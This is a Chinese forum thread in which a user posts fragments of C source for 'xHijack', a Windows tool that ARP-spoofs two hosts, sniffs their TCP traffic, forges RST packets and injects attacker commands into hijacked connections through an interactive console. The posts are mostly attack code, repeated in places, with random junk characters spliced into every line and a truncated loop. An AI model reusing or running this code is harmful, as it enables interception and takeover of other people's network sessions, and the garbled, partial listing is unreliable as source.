` dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! C* z; G9 ~6 b6 Z% x. q6 [ if(dwRet != ERROR_BUFFER_OVERFLOW) ; R: t- A. E o' x/ F { . Q) H8 r/ I+ u! B+ { printf("GetAdapterInfo error:%d\n", GetLastError()); / M1 ]! I! [4 V! h m0 X8 e7 A7 \ return 0; . \/ \7 w- P8 c& U+ a } 0 q3 X7 H$ ~; b' ?" ] ~ pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 7 g' p+ ?2 ?, {/ m8 q+ Z if(!pAdapterInfo) & ]) W B2 P* E0 G( k. O3 }( v# i { ( d& I+ _; _. C% G- Q. k+ P printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); - a/ E8 q" y" i) Z return 0; + V) R: o" `# F } ! \# a1 u- J; @% X# F dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 2 H8 {! ^& g" h& I; \% Y, W" p: E if(dwRet != ERROR_SUCCESS) 9 n3 ~/ l9 t: S ~3 I8 Q. s { $ T9 f* e6 p- d! [, Q5 R printf("GetAdapterInfo error:%d\n", GetLastError()); . }, H9 q( Q1 y' d) @ return 0; + {$ X. I& O. V* H8 Y2 B } - K( _# Y) J" k' L2 Z! @0 E pTmp = pAdapterInfo; % t4 r6 Y- t! U/ j6 o. F while(pTmp) + X1 l2 |7 P! g { 9 y z# ^- {3 N( t //字符匹配
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    void ResetActionAllFlag() 2 Q* o' D$ a2 i  Z9 T* a2 E+ u
    {
    " n. @9 f9 l, Q! q  g_dwCtrlConn = 0;
    ' V; {( C& n! `, x  g_pCurrCtrlConn = NULL; 0 T3 q' y; D$ _& J) v7 v
      g_dwAction = ACTION_NONE;
    2 h( e2 w- e$ z/ V& r. r}
    " \" K' P, M+ F* m7 V' ?8 W$ A* y7 r4 g+ D+ f
    //
    7 m! x5 [# Q" w$ e6 C5 r//功能:处理Ctrl+C和Ctrl+Break事件 3 D/ q' U" B( t1 z) f
    //
    4 A) J, c) _- U. ~' \. R( ~BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
    2 I5 C+ r- d) ?# |{ : |( E. T9 e& W5 a4 v& b2 ]' b- Q
      switch(dwCtrlType)
    % `# l* b) ?/ L6 n+ K+ z: |  {
    : `  H, k- L6 a) b    case CTRL_BREAK_EVENT: , Y" I: C& }2 @% I* w, `* h
          //reset action all flag 5 l* ?; w* ~4 h- J/ G, {( P6 e
          ResetActionAllFlag();
    ; S5 h0 C: Y' _3 }( h      break;
      m' {/ h5 x9 H0 n9 }% i    case CTRL_C_EVENT: ; S4 H( l3 k0 V
          //terminate all thread
    7 D% ^8 t. b/ C+ g      TerminateThread(g_hThread[0], 0);
    / B" o1 L/ _8 y2 t: X$ F1 r! Q      TerminateThread(g_hThread[1], 0);
    " ~3 D; j9 i2 a: b) B      TerminateThread(g_hThread[2], 0); : ?! K+ M" J0 j. j5 P& }6 @! M, h
          TerminateThread(g_hThread[3], 0);
    ' L- d* ^4 m/ F2 W* M. Q( f      break; 8 F5 a: G1 @% G& [5 E6 n/ u0 G
        default: 8 F' A0 B0 i. x. D; T5 B4 p7 |. Q
          break; $ q% S3 e+ k8 G
      } * _6 w. S8 z! }% b$ `2 H
      return TRUE;
    ) H) A- ~) ~& [( z9 ?) m/ Z} ( Q0 E4 c  h) Y. ~3 ^& E8 J

    * x$ _; T3 m1 I( u3 T+ R' l// 0 Y& [8 ^2 }* |- |$ K9 a1 B
    //功能:处理用户输入 6 O& q& O& T: A2 R3 i% ^, A' k: Q
    //
    9 }4 S; Q3 h( z$ G8 UDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
    ; {% y) p# ~$ F8 o/ J9 W$ o{
    $ P1 @* t" {" ]* n) I: m: u  DWORD  i;
    0 C4 t. y. d; v: }/ A7 x6 P6 L  char  szBuff[16];
    % m5 U% I7 E/ J" y) ?
    + h) V$ V3 }5 N( `$ y3 Z. i  *lpCommandPos = 0; 9 h! e0 X) p- [) m# C
      for(i=0; i&lt;15, i代码比较乱 % z/ `# H5 {+ ^# y7 N4 O+ C) b
    // - K& H& a! }2 t! w
    DWORD WINAPI InterfaceThread(LPVOID lp) / P5 Y) W% ]. Y/ U
    {
    . p7 o4 R! {! s# e% _( G0 Y  char  szHelp[] =  "l\t\t&lt;-- List all connections\n"
    1 C4 l- T7 p5 U" A' j            "r x\t\t&lt;-- Reset the number x connection\n"
    3 U0 B. `' i" x" E4 u3 t. L$ t            "w x\t\t&lt;-- Watch the number x connection\n"
    # P* k' ?0 B3 l: M4 G            "h x command\t&lt;-- Hijack the number x connection to execute command\n" 5 X5 T! {# n! H& A7 _) F0 P8 {& Y# a
                "[Note]\n" 3 {* s& {* ?6 g8 ^" |# H$ Y& F
                "Ctrl+Break to clear all action\n"
    7 ~, @! f# D8 e6 |9 ^$ ^2 V            "Ctrl+C to exit\n";
    ) U2 O  b9 ]# s, c$ W; @4 `$ A  char  szPrompt[] = "\nxHijack&gt;"; 3 ?: I2 ~& Y  O7 _1 D
      char  szBuffer[128]; : {2 N- Q# f$ w0 h% \% D* R  _, o; V
      DWORD  dwPos;
    8 E+ o; i8 D  U6 h1 z9 \: K! K" ]  PCONNINFO  pTmp;
    % u" p7 ^$ w# b9 C  X  q+ S$ g  x, ]( H
      while(1)
    9 v+ ^: }3 y' C: l$ A  { " Q9 \& [6 N. K) A8 M7 G0 W
        gets(szBuffer);//不考虑buffer overflow
    % W# J  ~' X! J- k& A; A0 c; L    switch(szBuffer[0]) 9 c3 T2 I4 J: K$ ], Y: s7 ]6 d
        {
    & A- o: @- y, u- J& R- q9 q: g      case 'l':
    - d. q' j3 f: R- J/ ~5 \      case 'L':
    ! {/ ^- p1 i  ], l/ s, ?        ListAllConnection();
    7 _5 f8 c3 D3 j3 K7 k        break;
    & o) d& [9 t& r. z      case 'r':
    5 n$ B; S+ v* Y+ w1 t      case 'R': . ~' x6 @1 j" i& U. q: f
            if(strlen(szBuffer) &gt;2)
    3 o0 D7 ~0 h2 Z2 A8 U) W0 F        {
    8 Z1 P( V' r7 X9 i! \          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
    5 E) H* B5 {6 ~* y! A          g_dwAction = ACTION_RESET;
    ( S3 j3 J. o& O# S' A        } ) t8 m! O5 @% p. X/ p
            else printf("%s", szHelp); / m5 D; M! F* i& ~
            break; * }8 t3 x9 U4 w8 {' v" a
          case 'w': 4 G+ }1 E) l7 w4 |
          case 'W': # @* q1 O2 _, x: M. L8 I
            if(strlen(szBuffer) &gt; 2)
    , L$ ]$ ?6 q) J/ A; z2 Y        { 5 f5 x9 Q% H) l/ {8 Y
              g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos); , V  R. [5 d1 U6 V  f
              g_dwAction = ACTION_WATCH;
    , `9 G: _6 J0 }$ i  K        } ' e' d4 q" N/ n6 R2 K! T
            else printf("%s", szHelp);
    7 \/ r: v7 ]2 ^6 A% t        break;
    ; E8 [$ _! o& `; _: Q      case 'h': 9 Z& e4 e1 Q7 z6 p8 Z; p
          case 'H'://h 1 xxx
    " R! L  g; m2 F5 N& @        if(strlen(szBuffer) &gt; 5)
    # q: J6 s, i3 M0 u' k        { # ^" ~4 d, K  h/ d* o
              g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
    4 f) Y" K0 i' {0 W# f# R9 f          //如果command第一个字符是'或"
    % y- p4 Y0 U2 s0 T; _+ D- `: z% [          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) 2 b; Y+ K  D) i$ y- a
              { % r8 O* y  r* ^
                strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); 6 n6 J: y6 B' q5 E& q5 x# g
                g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
    % k4 ?% T' E" g# ?* Z) L( F4 q8 W! q. m          } 3 r- T% t5 Z3 @( e9 Z& d
              else strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); 5 x. }% t( }* i! |! h6 p
              strcat(g_szCommand, "\x0D\x0A"); + Y6 }3 |8 E  d  v% P/ M* i: ~
              g_dwAction = ACTION_HIJACK; 1 z7 {9 r) ]* V
            } ( s% j! o0 j. d: |$ D: N
            else printf("%s", szHelp); 6 {- B, V" d, `7 o; B
            break;
    6 [0 o" s* ^  n7 F      default: ' h" Q' ^" b: K! d3 X$ l
            printf("%s", szHelp); 8 E" t0 p7 R# `2 F! ~
            break;
    : `" K+ E7 q( Z" P) G# d$ l0 o% {* t    }//end of switch - ^& J5 S6 J3 X: `. C; L( S! o8 L
        //find the specify ident's struct point 7 X% a1 [8 U+ t+ ^; C# B
        if( (g_dwCtrlConn) &amp;&amp; (g_dwAction) ) ) A9 Y& M4 Q* w( z2 r( \
        {
    ! d, ]* w9 d9 u; j      g_pCurrCtrlConn = NULL; + e( d, |' w( ]# ^
          pTmp = g_pConnHead;
    0 `6 q3 S% F. f1 |( C      while(pTmp)
    ) `* U& G  j7 S8 N9 _/ `      {
      m$ q' j' o4 n- u- a7 Q        if((pTmp-&gt;ident == g_dwCtrlConn) &amp;&amp; (pTmp-&gt;bActive) )
    5 g: i; J; a: x- A        {   b4 X: z2 T8 H
              g_pCurrCtrlConn = pTmp; $ l2 I1 }/ h& }$ d
              break; ( j9 \" K# b1 A5 a/ Q+ H9 G
            }
    ; y  }/ ]6 ?' P  l' ?( Z  v7 {        pTmp = pTmp-&gt;Next; - Z/ G( h4 J8 O* C! f1 [
          }
    ; x' h6 |7 O# f! J      if(!g_pCurrCtrlConn)
    0 D; I* I- v: w- a% e+ P      {
    8 k( d0 U9 P) j3 ~1 s        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
    , x+ [) y$ t) @: |  f; B, Y0 S        //reset action all flag
    8 t, w2 x2 X& l' w        ResetActionAllFlag();      
    ! _% Q) P5 e) `: y8 Z7 C- e      }
    . ^; @6 ]" K" {% d6 c    }
    / a& V) p7 j+ S7 ~5 g- ^8 s8 M+ {, ~    if(!g_dwCtrlConn) ResetActionAllFlag(); 8 a6 R- g7 V1 [- t5 [. u/ t) k
        //显示当前用户所期望的动作 . `4 U- O$ w: ~8 V
        printf("\nCurrentAction:"); 1 ]( M8 `! j6 h, X. K! R4 G
        switch(g_dwAction)
    3 E6 u. e$ ]* ]( c! S5 C* {0 Y    { * ?- Q' [0 P& G" f
          case ACTION_WATCH: 8 h( S; Q+ y5 V1 Y0 ?9 E. T
            printf("ACTION_WATCH"); ' }3 u# o7 \# g- H/ _$ q; O$ l, U7 c
            break;
    " Y9 p! n) v6 k+ _) G0 l0 g( X      case ACTION_RESET: - }) D  j( B, T7 {( t+ m4 v4 {
            printf("ACTION_RESET"); ' X7 S* _5 R0 Y$ R
            break; ! N4 f% e) t8 P- P
          case ACTION_HIJACK:
    7 h0 |' E1 ?7 _9 q* M        printf("ACTION_HIJACK"); 2 q, d+ @4 L! t& m$ F9 e' w6 a
            break;
    ) i$ l) L2 ^1 S3 n7 {      default: : [' I/ ]+ x5 ]; B3 f- J
            printf("ACTION_NONE");
    ) H) {' R+ P8 G! j        break;
    7 O- `7 X4 h& `0 P, Z5 o) ^8 R9 t    } ; B( w1 c( e7 h! o! N
        printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); - V/ c  Z9 z5 F. D. S! {
      }//enf of while 3 t, J( V: [! U0 o5 ]% B- x' E
      return 0; . j7 ?; c* b: @$ W# @
    }
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    unsigned int  g_ServerSideIP, & b5 _% m6 a7 k4 z5 H+ K+ O7 x
            g_ClientSideIP,
    ; `0 _$ s1 n3 `7 A: q  {. P        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
    9 H: C/ U6 E; }* V' }' t. Z( M3 w        g_TotalIP = 0;//
    ' d$ [9 |. B, `unsigned char  g_szOwnMAC[6];//本机MAC地址   {) X( Q8 u' @6 h8 d
    unsigned char  g_szClientSideMAC[6]; . v, y0 R) K) ]6 W5 ^, d9 L
    unsigned char  g_szServerSideMAC[6];
    ) ?2 P6 ]7 g  o, i6 ~/ X" bchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
    ! h9 y4 N) R  S- t2 K0 P0 cLPADAPTER    g_lpAdapter;
    % h; U1 R" Y3 t4 V& D/ X( m//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 3 b! ^2 N8 }. ^4 W: b. s" b$ b
    HANDLE      g_hThread[4];
    % Y. E/ y) ?8 z0 {: kchar      g_szCommand[128];//command to execute after hijack / C% k9 S6 \6 D3 y1 s
    DWORD      g_dwAction;//action type
    - s$ c" Y3 B+ X; vDWORD      g_dwCtrlConn;//action 所控制连接的标识
    # D* P1 j  I# q0 R$ Q: ^DWORD      g_ident;//节点标识,递增
    ! U) A- x5 T2 W7 {PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 ) S* M6 R6 D; G" X. N* Z. @
            g_pConnHead = NULL, 5 T, ]3 r3 v3 l
            g_pConnLast = NULL;
    3 E8 d; i. ~# |char      g_szSendPacketBuf[1514]; 3 v: p. d/ W! }7 Z
    LPPACKET    g_lpSendPacket;
    / {3 g% }1 m0 K; y/ Y: L: ~# ^9 o//函数 " V) ]* J! s( o
    void      usage(void);
    " @4 E! E  M1 e: fvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
    ) _4 m7 e' ]: F) V4 C8 Xvoid      ListAllConnection();//列出当前所有的连接
    8 F3 ^$ v* g2 r+ T' i# {7 X0 }void      ResetActionAllFlag();
    3 W( J* Y) O, R$ Q7 dUSHORT      checksum(USHORT *, int);
    3 h) [- S) a3 h6 q9 j' WBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 , ?7 R" z! U; B) m/ F' e
    BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
    : O8 u; q0 L+ NLPADAPTER    InitAdapter();//初始化一些参数和全局变量
    $ L; t' }( d% y' U7 s2 jBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 , ?& \/ N# o: {# M; ?
    BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 3 _5 z! |% a! j: I: S8 n3 o
    DWORD      GetConnNum(char *, DWORD, DWORD *); 0 U$ w' c1 f$ I$ b* T0 x
    DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 0 u8 n6 Z! H7 A5 Z4 b& G
    DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
    2 b1 m& A& t+ T2 A4 o- G; wDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 7 @7 M9 b- F+ ]' Y4 t* g
    DWORD  WINAPI  InterfaceThread(LPVOID);// 4 \' P7 @( e3 f. S, t: j
    BOOL  WINAPI  CtrlEvent(DWORD);
    & c+ K/ j- _% Y/ L% f0 v3 D/ `3 m) u( H5 z% w

    : c. H- }" h/ @+ q+ Q& f. a4 E1 h) p; J' |  B7 ?1 [0 y
    int main(int argc, char **argv)
    " T. E7 K9 j3 r: t2 z{
    * o/ `! R% r9 k  struct    bpf_stat stat; ) E8 s9 c5 L) d+ }! v2 l
      int      i;
    " s, a" [+ C! R8 F; H" T
    4 s$ k8 s- j' C, S) b  usage();
      _! |2 r# e# b; Z' Y  if (argc != 3) return 0; . N0 H2 }- n  [8 J
      //取得参数 + m  P" `. m) h9 e) |; q  [$ [
      g_ServerSideIP = inet_addr(argv[1]); 7 z  i" z1 E6 O6 l# d& a8 E1 u) _
      g_ClientSideIP = inet_addr(argv[2]); / T/ Q) O1 G# t5 U% Y
      //初始化adapter &amp; 一些全局变量 & a0 `+ k3 u2 c2 w/ I
      g_lpAdapter = InitAdapter();
    4 V3 ?- t. e0 V% _4 X7 m, A  if(!g_lpAdapter) return 0; 2 J  t4 V' }) d0 I+ q6 x
      //get ServerSide MAC &amp; ClientSide MAC + P% i8 z3 V; c
      if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
    + w7 [7 m- T$ Z. n# i  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
    # r7 M3 i! {+ G5 |. \7 v* n  //create arp spoof thread     
    0 R% }# `/ I2 ^; w1 V$ c# r  i = 1;
    4 w7 f, ]! B# P* Y% B! x. u  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
    ! j* @  G( U9 R/ M  ^2 m; \1 l  Sleep(500);
    1 G7 v4 F7 Q9 H- l- D- Z1 D: H  i = 2;
    ! g7 D8 X1 l% r  ~  Y$ g0 W( V  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
    : B9 H# M2 C  t7 l% D  //create analyse packet thread & j' v' `, K7 _) N: G- s* b
      g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
    7 T8 Z/ h$ M. q9 A1 F  //create interface thread - h$ q' e1 ]* \% p. S! E
      g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
    , r) D5 U" X7 m# q$ r' Y4 @  //set console ctrl handle & Y" S8 x/ }9 n9 g
      if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ' {' r- f" Z8 I7 t  n+ P
      {
    ; r! }) I; q4 }    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    7 o3 J9 N5 D$ k# n6 o    return 0; * ]' w. X  d# ], T
      } * P' `1 d- e( J( |2 |/ L
      //wait for any thread exit 3 ~; A# w0 @, ^! J7 ]1 F
      WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
    5 S: J& }/ [# i; U0 n5 F$ Y. Z  //print the capture statistics
    8 f1 {% V, V5 G+ W  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
      I$ w* a" Q1 a  J4 N9 l    printf("Warning: unable to get stats from the kernel!\n"); 4 v$ w. ]( {% J% ]; s
      else # H6 |' K) f. a1 \' ~
        printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 2 G, ^# D9 S' S2 X  l6 i
      //free resource   
    0 [& \  K1 t& H% E$ d1 g  PacketFreePacket(g_lpSendPacket); 0 w) U' b* y. @) K5 E2 y) U
      PacketCloseAdapter(g_lpAdapter); & ^" `# B- x. ^* z
      return 0; 5 k' L$ Z8 A; L" u* j: T; i
    }
    * H5 r- _2 ?; @) n) R+ I+ e
    : y  G: ?5 d8 E8 B! A8 u) \4 e) h7 y// ; p# s) r; \4 O7 t# e
    //功能:重置所有于ACTION有关的标志
    4 {( R+ n8 ~. u//
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    unsigned int  g_ServerSideIP, $ [7 p' h7 V3 g* X3 s4 l
            g_ClientSideIP,
    ( E! [4 ^5 V( p. V' l" y) X  T4 D        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 5 S+ j3 q( H) m2 k" A" n
            g_TotalIP = 0;// 6 U5 u9 N* x. T
    unsigned char  g_szOwnMAC[6];//本机MAC地址
    " S* F& m- e1 [! X0 yunsigned char  g_szClientSideMAC[6];
    ( P, s3 p- R! {, V4 h4 s  d& yunsigned char  g_szServerSideMAC[6]; 2 w: U7 [" m4 P( |/ [  N
    char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
    % n, U* d; r% kLPADAPTER    g_lpAdapter; 1 \2 V, U. m0 m4 z7 N+ n0 r& n6 g, v; v
    //1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
    $ a& W2 E) s. c( I9 yHANDLE      g_hThread[4]; " Q3 [% \% o' H. O! N
    char      g_szCommand[128];//command to execute after hijack 3 w! `+ d7 n4 ~4 e2 r# g# c
    DWORD      g_dwAction;//action type
    ( L( \; `+ G' R) @0 G/ S% ODWORD      g_dwCtrlConn;//action 所控制连接的标识 ' d( X4 {( R% P. G
    DWORD      g_ident;//节点标识,递增
    * D3 n7 {- c* \" [$ |( VPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
    4 C, J& t& g- Q        g_pConnHead = NULL,
    ! F% o+ ]4 E7 H7 {6 ^        g_pConnLast = NULL; % O( M2 N; H8 {- e
    char      g_szSendPacketBuf[1514]; ) u! ~6 k: S6 x8 N
    LPPACKET    g_lpSendPacket; 3 t$ u- U5 X7 ~5 u( C
    //函数
    # i9 ^6 z8 e9 Q( G+ R$ Jvoid      usage(void);   J. w8 O  o5 M! F5 Z+ o$ V( r2 E
    void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); , ?% ]# J% T' ~3 H2 f; I5 p
    void      ListAllConnection();//列出当前所有的连接   u; J9 j; v8 L& x+ ^/ A! n
    void      ResetActionAllFlag();
    5 q  A% J8 Z, {USHORT      checksum(USHORT *, int);
    ! n- A7 S( F( T! c" e6 ZBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 . o+ c) N* k* p6 C% M
    BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 7 l0 B( ^" R# \4 ?: ], A
    LPADAPTER    InitAdapter();//初始化一些参数和全局变量 $ w9 w" K: J8 Q
    BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 ' _4 G2 W' @1 w( e
    BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
    - ]# R* q6 f$ S9 H/ KDWORD      GetConnNum(char *, DWORD, DWORD *); ! F2 E8 Y1 r0 X$ V- Y$ n
    DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); : Z0 q6 Y; b$ i/ R
    DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 , H5 f& M* N1 X9 u0 ~
    DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
    - f" ]7 Y# l: F$ xDWORD  WINAPI  InterfaceThread(LPVOID);// ; \7 o, A: w2 ], l
    BOOL  WINAPI  CtrlEvent(DWORD);
    6 d' j5 W3 Q: L* s! c
    & f3 J* b; x6 v. V) e  M
    9 ~9 d5 T& R2 R( N0 b0 b: g7 r' [  U5 E
    int main(int argc, char **argv)
    0 {! H4 v7 u5 r& V) D5 L{ ; h! O5 H; a/ ^, f/ K1 ]! u; T
      struct    bpf_stat stat;
    1 e' [7 n3 i( m/ }; G  int      i;
    + s  t- Y; y# L; x( Y
    % T" b; I1 e. X3 m/ Z( {8 k  usage(); + G) w$ l5 x9 l8 `4 g  u
      if (argc != 3) return 0; ; K% _9 s5 \5 Z7 J: |
      //取得参数
    * J0 i5 @2 u, [: _. ]- J7 ]0 Z  g_ServerSideIP = inet_addr(argv[1]);
    # N" e+ [5 O4 C/ W' e  g_ClientSideIP = inet_addr(argv[2]);
    ) c( R  H+ |4 q  //初始化adapter &amp; 一些全局变量
    & F5 a) c5 q& e4 D6 v8 V  g_lpAdapter = InitAdapter();
    - N  t) s! ~, ?1 G7 n- P# x  if(!g_lpAdapter) return 0; : d9 q& Z7 p5 Y( W
      //get ServerSide MAC &amp; ClientSide MAC
    6 r4 I7 e0 F, v8 T# b  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
    + M8 Y/ H( P) _5 X9 S  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
    # b( U/ l2 Z$ _8 b+ _  //create arp spoof thread     / I; Q! j$ ?0 _
      i = 1;
    # C  s- I' r+ [$ g  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
    0 i5 Y( w: L6 Q  n  Sleep(500);
    9 H# V; r. q' }4 \8 T( H  i = 2;
    7 y) Y8 b5 ]4 d% V0 R5 t2 @& F  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0); 7 ~* X: X; m( d7 Y$ I& v& p2 s  T9 T
      //create analyse packet thread 4 z1 ?1 g) q4 |) R4 p5 v8 W) j
      g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
    9 W5 j; |  j: o7 u8 e3 f" ?: J  //create interface thread
    9 N/ E, W3 k3 H0 {* ?% D  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); ) m' Q7 M, N' q1 `0 E
      //set console ctrl handle 3 D$ Y  ?5 Y' w
      if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ! c, R; T+ [# \$ n4 A- l5 }$ V8 i
      { ! o2 h' B3 o& P  T: D( |
        printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    + b3 ~- {* S( n( K, T    return 0; ! ?) T3 T4 o. c
      } : ]- o- E! Q& ^$ x4 O( C3 n9 F
      //wait for any thread exit
    ( R0 m+ P$ O9 a7 [9 I2 K3 [- x  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
    / B$ v6 x' c( _% z. K: s$ C2 @2 c  //print the capture statistics
      V# l  k/ K7 c; O. Z' L. M  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE) 8 A1 O( \4 U' G; I
        printf("Warning: unable to get stats from the kernel!\n");
    & G2 \2 m$ n: O2 Y8 W1 R: T  else . Y& |" r) w8 D1 M  O
        printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); # _. z+ K( W6 {: R2 M
      //free resource   
    / q# q" X+ H' K7 H7 K+ {" [4 ]5 Y7 |  PacketFreePacket(g_lpSendPacket);
    ; M( x8 G4 w/ H* q5 s& F  PacketCloseAdapter(g_lpAdapter); : d- I3 o$ i$ @
      return 0;
    4 r' f- f1 y! x}
    % [5 N. ~3 Z" P' Q6 g9 l9 I5 `( E/ O" ^! H9 _
    // . n3 W7 f0 ?) p& e, v
    //功能:重置所有于ACTION有关的标志
    0 D- P3 r# A. N/ `8 g& ~//
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-11 11:55 , Processed in 0.608950 second(s), 92 queries .

    回顶部